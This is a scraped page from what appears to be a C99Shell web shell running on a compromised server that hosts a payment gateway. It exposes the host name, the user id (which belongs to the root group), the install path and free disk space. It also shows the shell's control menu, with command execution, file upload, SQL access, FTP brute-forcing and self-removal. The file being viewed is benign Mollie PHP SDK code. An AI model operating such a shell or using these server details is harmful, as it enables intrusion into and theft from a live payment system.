!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gateway.picotech.app/public_html/vendor/mollie/mollie-api-php/src/Endpoints/   drwxr-xr-x
Free 28.74 GB of 117.98 GB (24.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentLinkPaymentEndpoint.php (2.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Mollie\Api\Endpoints;

use 
Mollie\Api\Resources\LazyCollection;
use 
Mollie\Api\Resources\Payment;
use 
Mollie\Api\Resources\PaymentCollection;
use 
Mollie\Api\Resources\PaymentLink;

class 
PaymentLinkPaymentEndpoint extends CollectionEndpointAbstract
{
    protected 
$resourcePath 'payment-links_payments';

    
/**
     * @inheritDoc
     */
    
protected function getResourceCollectionObject($count$_links)
    {
        return new 
PaymentCollection($this->client$count$_links);
    }

    
/**
     * @inheritDoc
     */
    
protected function getResourceObject()
    {
        return new 
Payment($this->client);
    }

    public function 
pageForId(string $paymentLinkId, ?string $from null, ?int $limit null, array $filters = [])
    {
        
$this->parentId $paymentLinkId;

        return 
$this->rest_list($from$limit$filters);
    }

    public function 
pageFor(PaymentLink $paymentLink, ?string $from null, ?int $limit null, array $filters = [])
    {
        return 
$this->pageForId($paymentLink->id$from$limit$filters);
    }

    
/**
     * Create an iterator for iterating over payments associated with the provided Payment Link id, retrieved from Mollie.
     *
     * @param string $paymentLinkId
     * @param string|null $from The first resource ID you want to include in your list.
     * @param int|null $limit
     * @param array $parameters
     * @param bool $iterateBackwards Set to true for reverse order iteration (default is false).
     *
     * @return LazyCollection
     */
    
public function iteratorForId(
        
string $paymentLinkId,
        ?
string $from null,
        ?
int $limit null,
        array 
$parameters = [],
        
bool $iterateBackwards false
    
): LazyCollection {
        
$this->parentId $paymentLinkId;

        return 
$this->rest_iterator($from$limit$parameters$iterateBackwards);
    }

    
/**
     * Create an iterator for iterating over payments associated with the provided Payment Link object, retrieved from Mollie.
     *
     * @param PaymentLink $paymentLink
     * @param string|null $from The first resource ID you want to include in your list.
     * @param int|null $limit
     * @param array $parameters
     * @param bool $iterateBackwards Set to true for reverse order iteration (default is false).
     *
     * @return LazyCollection
     */
    
public function iteratorFor(
        
PaymentLink $paymentLink,
        ?
string $from null,
        ?
int $limit null,
        array 
$parameters = [],
        
bool $iterateBackwards false
    
): LazyCollection {
        return 
$this->iteratorForId(
            
$paymentLink->id,
            
$from,
            
$limit,
            
$parameters,
            
$iterateBackwards
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0032 ]--